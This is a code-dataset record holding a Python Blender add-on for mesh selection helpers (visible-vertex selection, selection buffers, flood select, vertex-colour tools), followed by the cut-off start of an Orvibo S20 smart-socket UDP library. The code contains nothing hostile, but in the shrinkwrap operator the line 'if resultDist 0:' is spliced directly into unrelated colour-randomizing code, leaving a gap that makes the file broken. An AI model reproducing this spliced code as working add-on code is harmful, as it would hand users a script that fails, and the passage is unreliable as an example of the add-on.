bmesh.from_edit_mesh( active_mesh )\n\tbm.verts.ensure_lookup_table()\n\tbm.faces.ensure_lookup_table()\n\tbm.verts.index_update()\n\tcameraOrigin = camera_pos(bpy.context.space_data.region_3d)\n\taffectedVerts = []\n\tfuzzlist = [(0,0,0),(fuzz,0,0),(-fuzz,0,0),(0,fuzz,0),(0,-fuzz,0),(0,0,fuzz),(0,0,-fuzz)]\n\tfor face in bm.faces:\n\t\tfor vert in face.verts:\n\t\t\tfor fuzzpic in fuzzlist:\n\t\t\t\tif vert.index not in affectedVerts:\n\t\t\t\t\t# Cast a ray from the \"camera\" position\n\t\t\t\t\tco_world = active_obj.matrix_world * vert.co + mathutils.Vector(fuzzpic)\n\t\t\t\t\tdirection = co_world - cameraOrigin;\n\t\t\t\t\tdirection.normalize()\n\t\t\t\t\tresult, location, normal, faceIndex, object, matrix = scene.ray_cast( cameraOrigin, direction )\n\t\t\t\t\t#print (\"result\",result,\" faceIndex\",faceIndex,\" vert\",vert, \" verts\", bm.faces[faceIndex].verts)\n\t\t\t\t\tif result and object.name == active_obj.name:\n\t\t\t\t\t\tfacevrt = [ e.index for e in bm.faces[faceIndex].verts]\n\t\t\t\t\t\t#print (\"vert.index\",vert.index,\" facevrt\",facevrt)\n\t\t\t\t\t\tif vert.index in facevrt:\n\t\t\t\t\t\t\taffectedVerts.append(vert.index)\n\t#bmesh.update_edit_mesh( active_mesh )\n\tbpy.ops.object.mode_set(mode='OBJECT')\n\tif actionSelectType == 0:\n\t\tfor vertIdx in affectedVerts:\n\t\t\tactive_mesh.vertices[vertIdx].select = True\n\telif actionSelectType == 1:\n\t\tfor vertIdx in selverts:\n\t\t\tif vertIdx in affectedVerts:\n\t\t\t\tactive_mesh.vertices[vertIdx].select = True\n\telif actionSelectType == 2:\n\t\tfor vertIdx in selverts:\n\t\t\tif vertIdx not in affectedVerts:\n\t\t\t\tactive_mesh.vertices[vertIdx].select = True\n\tbpy.ops.object.mode_set(mode='EDIT')\n\t#context.tool_settings.mesh_select_mode = (True, False, False)\n\tbpy.ops.mesh.select_mode(type=\"VERT\")\n\n########### ############ ########### ############ ########### ############ ########### ############\n########### ############ ########### ############ ########### ############ ########### ############\nclass WPLvert_selvisible( bpy.types.Operator ):\n\tbl_idname = \"mesh.wplvert_selvisible\"\n\tbl_label = \"Select visible verts\"\n\tbl_options = {'REGISTER', 'UNDO'}\n\topt_rayFuzz = bpy.props.FloatProperty(\n\t\tname\t\t= \"Fuzziness\",\n\t\tdefault\t = 0.05\n\t)\n\t@classmethod\n\tdef poll( cls, context ):\n\t\treturn ( context.object is not None and\n\t\t\t\tcontext.object.type == 'MESH' )\n\n\tdef execute( self, context ):\n\t\tif not bpy.context.space_data.region_3d.is_perspective:\n\t\t\tself.report({'ERROR'}, \"Can`t work in ORTHO mode\")\n\t\t\treturn {'CANCELLED'}\n\t\tactive_obj = context.scene.objects.active\n\t\tactive_mesh = active_obj.data\n\t\tvisibilitySelect(active_obj, active_mesh, context, 0, self.opt_rayFuzz )\n\t\treturn {'FINISHED'}\n\nclass WPLvert_deselunvisible( bpy.types.Operator ):\n\tbl_idname = \"mesh.wplvert_deselunvisible\"\n\tbl_label = \"Deselect invisible verts\"\n\tbl_options = {'REGISTER', 'UNDO'}\n\topt_rayFuzz = bpy.props.FloatProperty(\n\t\tname\t\t= \"Fuzziness\",\n\t\tdefault\t = 0.05\n\t)\n\t@classmethod\n\tdef poll( cls, context ):\n\t\treturn ( context.object is not None and\n\t\t\t\tcontext.object.type == 'MESH' )\n\n\tdef execute( self, context ):\n\t\tif not bpy.context.space_data.region_3d.is_perspective:\n\t\t\tself.report({'ERROR'}, \"Can`t work in ORTHO mode\")\n\t\t\treturn {'CANCELLED'}\n\t\tactive_obj = context.scene.objects.active\n\t\tactive_mesh = active_obj.data\n\t\tvisibilitySelect(active_obj, active_mesh, context, 1, self.opt_rayFuzz )\n\t\treturn {'FINISHED'}\n\nclass WPLvert_deselvisible( bpy.types.Operator ):\n\tbl_idname = \"mesh.wplvert_deselvisible\"\n\tbl_label = \"Deselect visible verts\"\n\tbl_options = {'REGISTER', 'UNDO'}\n\topt_rayFuzz = bpy.props.FloatProperty(\n\t\tname\t\t= \"Fuzziness\",\n\t\tdefault\t = 0.05\n\t)\n\t@classmethod\n\tdef poll( cls, context ):\n\t\treturn ( context.object is not None and\n\t\t\t\tcontext.object.type == 'MESH' )\n\n\tdef execute( self, context ):\n\t\tif not bpy.context.space_data.region_3d.is_perspective:\n\t\t\tself.report({'ERROR'}, \"Can`t work in ORTHO mode\")\n\t\t\treturn {'CANCELLED'}\n\t\tactive_obj = context.scene.objects.active\n\t\tactive_mesh = active_obj.data\n\t\tvisibilitySelect(active_obj, active_mesh, context, 2, self.opt_rayFuzz )\n\t\treturn {'FINISHED'}\n\nclass WPLvert_save2buff(bpy.types.Operator):\n\tbl_idname = \"mesh.wplvert_save2buff\"\n\tbl_label = \"Save 2 buffer\"\n\tbl_options = {'REGISTER', 'UNDO'}\n\n\topt_action = EnumProperty(\n\t\tname=\"Action\", default=\"SAVE\",\n\t\titems=((\"SAVE\", \"SAVE\", \"\"), (\"ADD\", \"ADD\", \"\"), (\"REM\", \"REM\", \"\"))\n\t)\n\n\t@classmethod\n\tdef poll(self, context):\n\t\t# Check if we have a mesh object active and are in vertex paint mode\n\t\tp = context.object and context.object.data and context.object.type == 'MESH'\n\t\treturn p\n\n\tdef execute(self, context):\n\t\tactive_obj = context.scene.objects.active\n\t\tactive_mesh = active_obj.data\n\t\toldmode = select_and_change_mode(active_obj, 'OBJECT')\n\t\tseltoolsOpts = context.scene.seltoolsOpts\n\t\tbufMap = kWPLSelBufferUVMap+seltoolsOpts.sel_buff\n\t\tvg = getornew_vertgroup(active_obj,bufMap)\n\t\t#uv_layer_holdr = active_mesh.uv_textures.get(bufMap)\n\t\t#if uv_layer_holdr is None:\n\t\t#\tactive_mesh.uv_textures.new(bufMap)\n\t\t#bm = bmesh.from_edit_mesh(active_mesh)\n\t\t#bm.verts.ensure_lookup_table()\n\t\t#bm.faces.ensure_lookup_table()\n\t\t#bm.verts.index_update()\n\t\t#uv_layer_holdr = bm.loops.layers.uv.get(bufMap)\n\t\t#for face in bm.faces:\n\t\t#\tfor vert, loop in zip(face.verts, face.loops):\n\t\t#loop[uv_layer_holdr].uv = (float(vert.index),vert.select)\n\t\tok_cnt = 0\n\t\tfor vert in active_mesh.vertices:\n\t\t\tidx = vert.index\n\t\t\twmod = 'REPLACE'\n\t\t\ttry:\n\t\t\t\toldval = vg.weight(idx)\n\t\t\texcept Exception as e:\n\t\t\t\twmod = 'ADD'\n\t\t\t\toldval = 0\n\t\t\tselval = oldval\n\t\t\tif self.opt_action == \"SAVE\":\n\t\t\t\tselval = 0\n\t\t\t\tif vert.select:\n\t\t\t\t\tok_cnt = ok_cnt+1\n\t\t\t\t\tselval = 1\n\t\t\tif self.opt_action == \"ADD\":\n\t\t\t\tselval = oldval\n\t\t\t\tif vert.select:\n\t\t\t\t\tok_cnt = ok_cnt+1\n\t\t\t\t\tselval = 1\n\t\t\tif self.opt_action == \"REM\":\n\t\t\t\tselval = oldval\n\t\t\t\tif vert.select:\n\t\t\t\t\tok_cnt = ok_cnt+1\n\t\t\t\t\tselval = 0\n\t\t\tnewval = selval\n\t\t\tvg.add([idx], newval, wmod)\n\t\tselect_and_change_mode(active_obj, oldmode)\n\t\tself.report({'INFO'}, str(ok_cnt)+\" verts saved to \"+seltoolsOpts.sel_buff)\n\t\treturn {'FINISHED'}\n\nclass WPLvert_loadbuff(bpy.types.Operator):\n\tbl_idname = \"mesh.wplvert_loadbuff\"\n\tbl_label = \"Load from buffer\"\n\tbl_options = {'REGISTER', 'UNDO'}\n\n\t@classmethod\n\tdef poll(self, context):\n\t\t# Check if we have a mesh object active and are in vertex paint mode\n\t\tp = context.object and context.object.data and context.object.type == 'MESH'\n\t\treturn p\n\n\tdef execute(self, context):\n\t\tactive_obj = context.scene.objects.active\n\t\tactive_mesh = active_obj.data\n\t\tselect_and_change_mode(active_obj, 'EDIT')\n\t\tseltoolsOpts = context.scene.seltoolsOpts\n\t\tbufMap = kWPLSelBufferUVMap+seltoolsOpts.sel_buff\n\t\tvg = getornew_vertgroup(active_obj,bufMap)\n\t\tbpy.ops.mesh.select_mode(type='VERT')\n\t\t#uv_layer_holdr = active_mesh.uv_textures.get(bufMap)\n\t\t#if uv_layer_holdr is None:\n\t\t#\tactive_mesh.uv_textures.new(bufMap)\n\t\t#bm = bmesh.from_edit_mesh(active_mesh)\n\t\t#bm.verts.ensure_lookup_table()\n\t\t#bm.faces.ensure_lookup_table()\n\t\t#bm.verts.index_update()\n\t\t#uv_layer_holdr = bm.loops.layers.uv.get(bufMap)\n\t\t#for face in bm.faces:\n\t\t#\tfor vert, loop in zip(face.verts, face.loops):\n\t\t#\t\tselidx = int(loop[uv_layer_holdr].uv[0]+0.1)\n\t\t#\t\tif abs(selidx-vert.index) < 0.5:\n\t\t#\t\t\tselval = loop[uv_layer_holdr].uv[1]\n\t\t#\t\t\tif selval>0:\n\t\t#\t\t\t\tvert.select = True\n\t\t#\t\t\t\t#verts2sel.append(vert.index)\n\t\t#bmesh.update_edit_mesh(active_mesh)\n\t\tselect_and_change_mode(active_obj, 'OBJECT')\n\t\tfor vert in active_mesh.vertices:\n\t\t\tidx = vert.index\n\t\t\toldval = 0\n\t\t\ttry:\n\t\t\t\toldval = vg.weight(idx)\n\t\t\texcept Exception as e:\n\t\t\t\twmod = 'ADD'\n\t\t\t\toldval = 0\n\t\t\tif oldval > 0.001:\n\t\t\t\tvert.select = True\n\t\tselect_and_change_mode(active_obj, 'EDIT') # select proper faces, etc\n\t\tself.report({'INFO'}, \"Selection state restored\")\n\t\treturn {'FINISHED'}\n\nclass WPLvert_floodsel( bpy.types.Operator ):\n\tbl_idname = \"mesh.wplvert_floodsel\"\n\tbl_label = \"Flood-select linked\"\n\tbl_options = {'REGISTER', 'UNDO'}\n\topt_floodDir = FloatVectorProperty(\n\t\tname\t = \"Flood direction\",\n\t\tsize\t = 3,\n\t\tmin=-1.0, max=1.0,\n\t\tdefault\t = (0.0,0.0,1.0)\n\t)\n\topt_floodDist = IntProperty(\n\t\tname\t = \"Max Loops\",\n\t\tdefault\t = 10\n\t)\n\t@classmethod\n\tdef poll( cls, context ):\n\t\treturn ( context.object is not None and\n\t\t\t\tcontext.object.type == 'MESH' )\n\n\tdef execute( self, context ):\n\t\tactive_obj = context.scene.objects.active\n\t\tactive_mesh = active_obj.data\n\t\tselverts = get_selected_vertsIdx(active_mesh)\n\t\tif len(selverts) == 0:\n\t\t\tself.report({'ERROR'}, \"No selected verts found, select some\")\n\t\t\treturn {'CANCELLED'}\n\t\tselect_and_change_mode(active_obj, 'EDIT')\n\t\tbpy.ops.mesh.select_mode(type=\"FACE\")\n\t\tedit_obj = bpy.context.edit_object\n\t\tactive_mesh = edit_obj.data\n\t\tbm = bmesh.from_edit_mesh(active_mesh)\n\t\tbm.verts.ensure_lookup_table()\n\t\tbm.faces.ensure_lookup_table()\n\t\tbm.verts.index_update()\n\t\tchecked_verts = copy.copy(selverts)\n\t\tverts_shifts = {}\n\t\tfloodDir = mathutils.Vector((self.opt_floodDir[0],self.opt_floodDir[1],self.opt_floodDir[2])).normalized()\n\t\t#propagation_stages = []\n\t\topt_floodFuzz = 1.5\n\t\tfor stage in range(1,self.opt_floodDist+1):\n\t\t\tstage_verts = {}\n\t\t\tchecked_verts_cc = copy.copy(checked_verts)\n\t\t\tfor v_idx in checked_verts_cc:\n\t\t\t\tif v_idx in selverts and stage>1:\n\t\t\t\t\tcontinue\n\t\t\t\tv = bm.verts[v_idx]\n\t\t\t\tfor edg in v.link_edges:\n\t\t\t\t\tv2 = edg.other_vert(v)\n\t\t\t\t\tif v2.index not in checked_verts_cc:\n\t\t\t\t\t\tflowfir = (v2.co-v.co).normalized()\n\t\t\t\t\t\tflowdot = flowfir.dot(floodDir)\n\t\t\t\t\t\tflowang = math.acos(flowdot)\n\t\t\t\t\t\tif(flowang < opt_floodFuzz) or stage>1:\n\t\t\t\t\t\t\tactive_mesh.vertices[v2.index].select = True\n\t\t\t\t\t\t\tv2.select = True\n\t\t\t\t\t\t\tif v2.index not in checked_verts:\n\t\t\t\t\t\t\t\tchecked_verts.append(v2.index)\n\t\t\t\t\t\t\tif(v2.index not in stage_verts):\n\t\t\t\t\t\t\t\tstage_verts[v2.index] = []\n\t\t\t\t\t\t\tif v_idx not in stage_verts[v2.index]:\n\t\t\t\t\t\t\t\tstage_verts[v2.index].append(v_idx)\n\t\t\tif len(stage_verts) == 0:\n\t\t\t\tbreak\n\t\t\t#propagation_stages.append(stage_verts)\n\t\t#bmesh.update_edit_mesh( active_mesh )\n\t\tbpy.ops.mesh.select_mode(type=\"VERT\")\n\t\treturn {'FINISHED'}\n\nclass wplshsel_snap(bpy.types.Operator):\n\tbl_idname = \"mesh.wplshsel_snap\"\n\tbl_label = \"Shrinkwrap selected to nearest\"\n\tbl_options = {'REGISTER', 'UNDO'}\n\n\topt_offset = bpy.props.FloatProperty(\n\t\tname\t\t= \"Offset\",\n\t\tdefault\t \t= 0.0\n\t)\n\n\t@classmethod\n\tdef poll(self, context):\n\t\t# Check if we have a mesh object active and are in vertex paint mode\n\t\tp = context.object and context.object.data and context.object.type == 'MESH'\n\t\treturn p\n\n\tdef execute(self, context):\n\t\tactive_obj = context.scene.objects.active\n\t\tactive_mesh = active_obj.data\n\t\tvertsIdx = get_selected_vertsIdx(active_mesh)\n\t\tif len(vertsIdx) == 0:\n\t\t\tvertsIdx = [e.index for e in active_mesh.vertices]\n\t\tmatrix_world = active_obj.matrix_world\n\t\tmatrix_world_inv = active_obj.matrix_world.inverted()\n\t\tmatrix_world_nrml = matrix_world_inv.transposed().to_3x3()\n\t\tnearObject = None\n\t\tnearObjectDist = 99999\n\t\thistVertlist = vertsIdx\n\t\tif(len(histVertlist) > 50):\n\t\t\tbm_tmp = bmesh.new()\n\t\t\tbm_tmp.from_mesh(active_mesh)\n\t\t\tbm_tmp.verts.index_update()\n\t\t\thistVertlist = [elem.index for elem in bm_tmp.select_history if isinstance(elem, bmesh.types.BMVert)]\n\t\t\tbm_tmp.free()\n\t\t\tif len(histVertlist) == 0:\n\t\t\t\thistVertlist = vertsIdx\n\t\t\thistVertlist = histVertlist[:50]\n\t\tfor vIdx in histVertlist:\n\t\t\ts_v = active_mesh.vertices[vIdx]\n\t\t\tvFrom = matrix_world*s_v.co\n\t\t\tvDir = (matrix_world_nrml*s_v.normal)\n\t\t\t(result, loc_g, normal, index, obj, matrix) = bpy.context.scene.ray_cast(vFrom+vDir*kRaycastEpsilon, vDir)\n\t\t\tif result and obj.name != active_obj.name:\n\t\t\t\tresultDist = (loc_g-vFrom).length\n\t\t\t\tif resultDist 0:\n\t\t\t\t\trndc = (random(),random(),random(),1.0)\n\t\t\t\t\tfor ov in meshlist:\n\t\t\t\t\t\tvc_randomies[ov.index] = rndc\n\t\tbpy.ops.object.mode_set(mode='OBJECT')\n\t\tcontext.scene.update()\n\t\tcolor_map = active_obj.data.vertex_colors.get(seltoolsOpts.bake_vcnm)\n\t\tactive_mesh.vertex_colors.active = color_map\n\t\tif len(vc_randomies)>0:\n\t\t\tfor poly in active_mesh.polygons:\n\t\t\t\tface_is_selected = poly.index in selfaces\n\t\t\t\tif face_is_selected:\n\t\t\t\t\tipoly = poly.index\n\t\t\t\t\tfor idx, ivertex in enumerate(active_mesh.polygons[ipoly].loop_indices):\n\t\t\t\t\t\tivdx = active_mesh.polygons[ipoly].vertices[idx]\n\t\t\t\t\t\tif (ivdx in vc_randomies):\n\t\t\t\t\t\t\trndms = vc_randomies[ivdx]\n\t\t\t\t\t\t\tcurcolor = mathutils.Color((color_map.data[ivertex].color[0],color_map.data[ivertex].color[1],color_map.data[ivertex].color[2]))\n\t\t\t\t\t\t\tnewHmin = max(0.0,curcolor.h-self.opt_colorHueRnd)\n\t\t\t\t\t\t\tnewHmax = min(1.0,curcolor.h+self.opt_colorHueRnd)\n\t\t\t\t\t\t\tnewSmin = max(0.0,curcolor.s-self.opt_colorSatRnd)\n\t\t\t\t\t\t\tnewSmax = min(1.0,curcolor.s+self.opt_colorSatRnd)\n\t\t\t\t\t\t\tnewVmin = max(0.0,curcolor.v-self.opt_colorValRnd)\n\t\t\t\t\t\t\tnewVmax = min(1.0,curcolor.v+self.opt_colorValRnd)\n\t\t\t\t\t\t\tnewcolor = curcolor.copy()\n\t\t\t\t\t\t\tnewcolor.hsv = (newHmin+rndms[0]*(newHmax-newHmin),newSmin+rndms[1]*(newSmax-newSmin),newVmin+rndms[2]*(newVmax-newVmin))\n\t\t\t\t\t\t\tcolor_map.data[ivertex].color = (newcolor[0],newcolor[1],newcolor[2],1.0)\n\t\tbpy.ops.object.mode_set(mode='VERTEX_PAINT')\n\t\tcontext.scene.update()\n\t\treturn {'FINISHED'}\n\nclass WPLvert_updcol( bpy.types.Operator ):\n\tbl_idname = \"mesh.wplvert_updcol\"\n\tbl_label = \"Update color\"\n\tbl_options = {'REGISTER', 'UNDO'}\n\topt_target = EnumProperty(\n\t\tname=\"Target\", default=\"FACE\",\n\t\titems=((\"FACE\", \"FACE\", \"\"), (\"VERT\", \"VERT\", \"\"), (\"PROP\", \"Custom prop\", \"\"))\n\t)\n\topt_influence = FloatProperty(\n\t\tname=\"Influence\",\n\t\tmin=0.0001, max=1.0,\n\t\tdefault=1\n\t)\n\topt_insetLoops = IntProperty(\n\t\tname=\"Smoothing Loops\",\n\t\tmin=0, max=10000,\n\t\tdefault=0\n\t)\n\topt_invertInfl = BoolProperty(\n\t\tname=\"Invert Influence\",\n\t\tdefault=False\n\t)\n\t@classmethod\n\tdef poll( cls, context ):\n\t\tp = (isinstance(context.scene.objects.active, bpy.types.Object))\n\t\treturn p\n\n\tdef execute( self, context ):\n\t\tseltoolsOpts = context.scene.seltoolsOpts\n\t\tdef newColorWith(col,vert2loopMap):\n\t\t\toldcolor = Vector((col[0],col[1],col[2],1))\n\t\t\tif seltoolsOpts.bake_vccol_mask[0]:\n\t\t\t\tR = seltoolsOpts.bake_vccol[0]\n\t\t\telse:\n\t\t\t\tR = oldcolor[0]\n\t\t\tif seltoolsOpts.bake_vccol_mask[1]:\n\t\t\t\tG = seltoolsOpts.bake_vccol[1]\n\t\t\telse:\n\t\t\t\tG = oldcolor[1]\n\t\t\tif seltoolsOpts.bake_vccol_mask[2]:\n\t\t\t\tB = seltoolsOpts.bake_vccol[2]\n\t\t\telse:\n\t\t\t\tB = oldcolor[2]\n\t\t\tnewcolor = Vector((R,G,B,1))\n\t\t\tdopinfluence = 1.0\n\t\t\tif vert2loopMap is not None and ivdx in vert2loopMap:\n\t\t\t\tdopinfluence = vert2loopMap[ivdx]\n\t\t\ttltInfl = self.opt_influence*dopinfluence\n\t\t\tif self.opt_invertInfl:\n\t\t\t\ttltInfl = 1.0-tltInfl\n\t\t\tlerped = oldcolor.lerp(newcolor,tltInfl)\n\t\t\treturn lerped\n\t\tactive_obj = context.scene.objects.active\n\t\tif active_obj is None or len(seltoolsOpts.bake_vcnm) == 0:\n\t\t\treturn {'CANCELLED'}\n\t\tseltoolsOpts.bake_vccol_ref = seltoolsOpts.bake_vccol\n\t\tif self.opt_target == 'PROP' or active_obj.type == 'CURVE':\n\t\t\tprop_name = seltoolsOpts.bake_vcnm #\"vc_\"+seltoolsOpts.bake_vcnm\n\t\t\tlerped = newColorWith((0,0,0),None)\n\t\t\tactive_obj[prop_name] = lerped\n\t\t\treturn {'FINISHED'}\n\t\tactive_mesh = active_obj.data\n\t\tif active_mesh.vertex_colors.get(seltoolsOpts.bake_vcnm) is None and len(seltoolsOpts.bake_vcnm) == 0:\n\t\t\tself.report({'ERROR'}, \"Target VC not found\")\n\t\t\treturn {'CANCELLED'}\n\t\toldmode = select_and_change_mode(active_obj,\"OBJECT\")\n\t\tselfaces = get_selected_facesIdx(active_mesh)\n\t\tselverts = get_selected_vertsIdx(active_mesh)\n\t\tif (self.opt_target == 'FACE' and len(selfaces) == 0) or (self.opt_target == 'VERT' and len(selverts) == 0):\n\t\t\t#self.report({'ERROR'}, \"No faces selected, select some faces first\")\n\t\t\t#return {'CANCELLED'}\n\t\t\tselfaces = [f.index for f in active_mesh.polygons]\n\t\t\tselverts = [e.index for e in active_mesh.vertices]\n\t\tvert2loopMap = None\n\t\tif self.opt_insetLoops>0:\n\t\t\tselvertsCpy = set(copy.copy(selverts))\n\t\t\tvert2loopMap = get_less_vertsMap_v01(active_obj, selvertsCpy, self.opt_insetLoops)\n\t\t\tfor vIdx in selverts:\n\t\t\t\tvert2loopMap[vIdx] = (vert2loopMap[vIdx]-1.0)/float(self.opt_insetLoops)\n\t\tcolor_map = active_mesh.vertex_colors.get(seltoolsOpts.bake_vcnm)\n\t\tif color_map is None:\n\t\t\tcolor_map = active_mesh.vertex_colors.new(seltoolsOpts.bake_vcnm)\n\t\tactive_mesh.vertex_colors.active = color_map\n\t\tsetCount = 0\n\t\tfor poly in active_mesh.polygons:\n\t\t\tipoly = poly.index\n\t\t\tif (self.opt_target == 'VERT') or (ipoly in selfaces):\n\t\t\t\tfor idx, ivertex in enumerate(active_mesh.polygons[ipoly].loop_indices):\n\t\t\t\t\tivdx = active_mesh.polygons[ipoly].vertices[idx]\n\t\t\t\t\tif (self.opt_target == 'FACE') or (ivdx in selverts):\n\t\t\t\t\t\tcol = color_map.data[ivertex].color\n\t\t\t\t\t\tlerped = newColorWith(col,vert2loopMap)\n\t\t\t\t\t\tsetCount = setCount+1\n\t\t\t\t\t\t#print(\"Colors\",oldcolor,newcolor,lerped,self.opt_influence,dopinfluence)\n\t\t\t\t\t\tcolor_map.data[ivertex].color = lerped\n\t\tselect_and_change_mode(active_obj,oldmode)\n\t\tself.report({'INFO'}, color_map.name+': verts='+str(setCount))\n\t\treturn {'FINISHED'}\n\n######################### ######################### #########################\n######################### ######################### #########################\ndef onUpdate_bake_vcnm_real(self, context):\n\tseltoolsOpts = context.scene.seltoolsOpts\n\tif len(seltoolsOpts.bake_vcnm_real)>0:\n\t\tseltoolsOpts.bake_vcnm = seltoolsOpts.bake_vcnm_real\n\t\tseltoolsOpts.bake_vcnm_real = \"\"\n\nclass WPLSelToolsSettings(bpy.types.PropertyGroup):\n\tsel_buff = EnumProperty(\n\t\tname=\"Selection Buffer\",\n\t\titems = [\n\t\t\t('BUFFER1', \"Buffer 1\", \"\"),\n\t\t\t('BUFFER2', \"Buffer 2\", \"\"),\n\t\t\t('BUFFER3', \"Buffer 3\", \"\")\n\t\t],\n\t\tdefault='BUFFER1',\n\t)\n\tbake_vccol = FloatVectorProperty(\n\t\tname=\"VC Color\",\n\t\tsubtype='COLOR_GAMMA',\n\t\tmin=0.0, max=1.0,\n\t\tdefault = (1.0,1.0,1.0)\n\t\t)\n\tbake_vccol_ref = FloatVectorProperty(\n\t\tname=\"Raw\",\n\t\tsubtype='COLOR',\n\t\tmin=0.0, max=1.0,\n\t\tdefault = (1.0,1.0,1.0)\n\t\t)\n\tbake_vccol_ref_d1 = FloatVectorProperty(\n\t\tname=\"W\",\n\t\tsubtype='COLOR_GAMMA',\n\t\tdefault = (1.0,1.0,1.0)\n\t\t)\n\tbake_vccol_ref_d2 = FloatVectorProperty(\n\t\tname=\"B\",\n\t\tsubtype='COLOR_GAMMA',\n\t\tdefault = (0.0,0.0,0.0)\n\t\t)\n\tbake_vccol_ref_d3 = FloatVectorProperty(\n\t\tname=\"R\",\n\t\tsubtype='COLOR_GAMMA',\n\t\tdefault = (1.0,0.0,0.0)\n\t\t)\n\tbake_vccol_ref_d4 = FloatVectorProperty(\n\t\tname=\"G\",\n\t\tsubtype='COLOR_GAMMA',\n\t\tdefault = (0.0,1.0,0.0)\n\t\t)\n\tbake_vccol_ref_d5 = FloatVectorProperty(\n\t\tname=\"B\",\n\t\tsubtype='COLOR_GAMMA',\n\t\tdefault = (0.0,0.0,1.0)\n\t\t)\n\tbake_vccol_mask = BoolVectorProperty(\n\t\tname=\"Color Mask\",\n\t\tsize = 3,\n\t\tdefault = (True,True,True)\n\t\t)\n\tbake_vcnm = StringProperty(\n\t\tname=\"Target VC\",\n\t\tdefault = \"\"\n\t\t)\n\tbake_vcnm_real = StringProperty(\n\t\tname=\"VC\",\n\t\tdefault = \"\",\n\t\tupdate=onUpdate_bake_vcnm_real\n\t\t)\n\nclass WPLSelectFeatures_Panel1(bpy.types.Panel):\n\tbl_label = \"Selection helpers\"\n\tbl_space_type = 'VIEW_3D'\n\tbl_region_type = 'TOOLS'\n\tbl_category = 'WPL'\n\n\tdef draw_header(self, context):\n\t\tlayout = self.layout\n\t\tlayout.label(text=\"\")\n\n\tdef draw(self, context):\n\t\tlayout = self.layout\n\t\tcol = layout.column()\n\t\tseltoolsOpts = context.scene.seltoolsOpts\n\n\t\tcol.separator()\n\t\tcol.label(\"Selection control\")\n\t\tcol.operator(\"mesh.wplvert_selvisible\", text=\"Select visible\")\n\t\tcol.operator(\"mesh.wplvert_deselvisible\", text=\"Deselect visible\")\n\t\tcol.operator(\"mesh.wplvert_deselunvisible\", text=\"Deselect invisible\")\n\t\tcol.separator()\n\t\tcol.operator(\"mesh.wplvert_floodsel\", text=\"Flood-select linked\")\n\t\tcol.operator(\"mesh.wplshsel_snap\", text=\"Shrinkwrap selected to nearest\")\n\n\t\tcol.separator()\n\t\tcol.prop(seltoolsOpts, \"sel_buff\")\n\t\trow = col.row()\n\t\trow.operator(\"mesh.wplvert_save2buff\", text=\"Save\").opt_action = 'SAVE'\n\t\trow.operator(\"mesh.wplvert_save2buff\", text=\"Add\").opt_action = 'ADD'\n\t\trow.operator(\"mesh.wplvert_save2buff\", text=\"Rem\").opt_action = 'REM'\n\t\tcol.operator(\"mesh.wplvert_loadbuff\", text=\"Load from buffer\")\n\n\nclass WPLPaintSelect_Panel(bpy.types.Panel):\n\tbl_label = \"VC helpers\"\n\tbl_space_type = 'VIEW_3D'\n\tbl_region_type = 'TOOLS'\n\tbl_category = 'WPL'\n\n\tdef draw_header(self, context):\n\t\tlayout = self.layout\n\t\tlayout.label(text=\"\")\n\n\tdef draw(self, context):\n\t\tlayout = self.layout\n\t\tseltoolsOpts = context.scene.seltoolsOpts\n\t\tactive_obj = context.scene.objects.active\n\t\tcol = layout.column()\n\n\t\tif active_obj is not None and active_obj.data is not None:\n\t\t\tobj_data = active_obj.data\n\t\t\tif obj_data is not None:\n\t\t\t\trow0 = col.row()\n\t\t\t\trow0.prop(seltoolsOpts, \"bake_vcnm\")\n\t\t\t\trow0.prop_search(seltoolsOpts, \"bake_vcnm_real\", obj_data, \"vertex_colors\", icon='GROUP_VCOL')\n\t\t\t\tcol.prop(seltoolsOpts, \"bake_vccol\")\n\t\t\t\trow1 = col.row()\n\t\t\t\trow1.prop(seltoolsOpts, \"bake_vccol_mask\", text = \"R,G,B\")\n\t\t\t\trow2 = col.row()\n\t\t\t\trow2.operator(\"mesh.wplvert_updcol\", text=\"->Faces\").opt_target = 'FACE'\n\t\t\t\trow2.operator(\"mesh.wplvert_updcol\", text=\"->Verts\").opt_target = 'VERT'\n\n\t\tcol.separator()\n\t\tcol.operator(\"mesh.wplvert_pickvccol\", text=\"Pick color from faces\")\n\t\tcol.operator(\"mesh.wplvert_selvccol\", text=\"Mesh: Select faces by color\")\n\t\tcol.operator(\"mesh.wplvert_islandsrnd\", text=\"Islands: Randomize color\")\n\t\tcol.separator()\n\t\trow3 = col.row()\n\t\trow3.prop(seltoolsOpts, \"bake_vccol_ref\")\n\t\trow3.prop(seltoolsOpts, \"bake_vccol_ref_d1\")\n\t\trow3.prop(seltoolsOpts, \"bake_vccol_ref_d2\")\n\t\trow4 = col.row()\n\t\trow4.prop(seltoolsOpts, \"bake_vccol_ref_d3\")\n\t\trow4.prop(seltoolsOpts, \"bake_vccol_ref_d4\")\n\t\trow4.prop(seltoolsOpts, \"bake_vccol_ref_d5\")\n\ndef register():\n\tprint(\"WPLSelectFeatures_Panel registered\")\n\tbpy.utils.register_module(__name__)\n\tbpy.types.Scene.seltoolsOpts = PointerProperty(type=WPLSelToolsSettings)\n\ndef unregister():\n\tbpy.utils.unregister_module(__name__)\n\tbpy.utils.unregister_class(WPLSelToolsSettings)\n\nif __name__ == \"__main__\":\n\tregister()\n","sub_path":"blender/addon_experiments/old/meshSelectTools3_v02.py","file_name":"meshSelectTools3_v02.py","file_ext":"py","file_size_in_byte":34912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"161051834","text":"\"\"\" Orbivo S20. \"\"\"\n\nimport logging\nimport socket\n\n_LOGGER = logging.getLogger(__name__)\n\n# S20 UDP port\nPORT = 10000\n\n# UDP best-effort.\nRETRIES = 3\nTIMEOUT = 0.5\n\n# Packet constants.\nMAGIC = b'\\x68\\x64'\nDISCOVERY = b'\\x00\\x06\\x71\\x61'\nDISCOVERY_RESP = b'\\x00\\x2a\\x71\\x61'\nSUBSCRIBE = b'\\x00\\x1e\\x63\\x6c'\nSUBSCRIBE_RESP = b'\\x00\\x18\\x63\\x6c'\nCONTROL = b'\\x00\\x17\\x64\\x63'\nCONTROL_RESP = b'\\x00\\x17\\x73\\x66'\nPADDING_1 = b'\\x20\\x20\\x20\\x20\\x20\\x20'\nPADDING_2 = b'\\x00\\x00\\x00\\x00'\nON = b'\\x01'\nOFF = b'\\x00'\n\n\nclass S20Exception(Exception):\n \"\"\" S20 exception. \"\"\"\n pass\n\n\nclass S20(object):\n \"\"\" Controls an Orbivo S20 WiFi Smart Socket.\n\n http://www.orvibo.com/en_products_view.asp?mid=15&pid=4&id=234\n\n Protocol documentation: 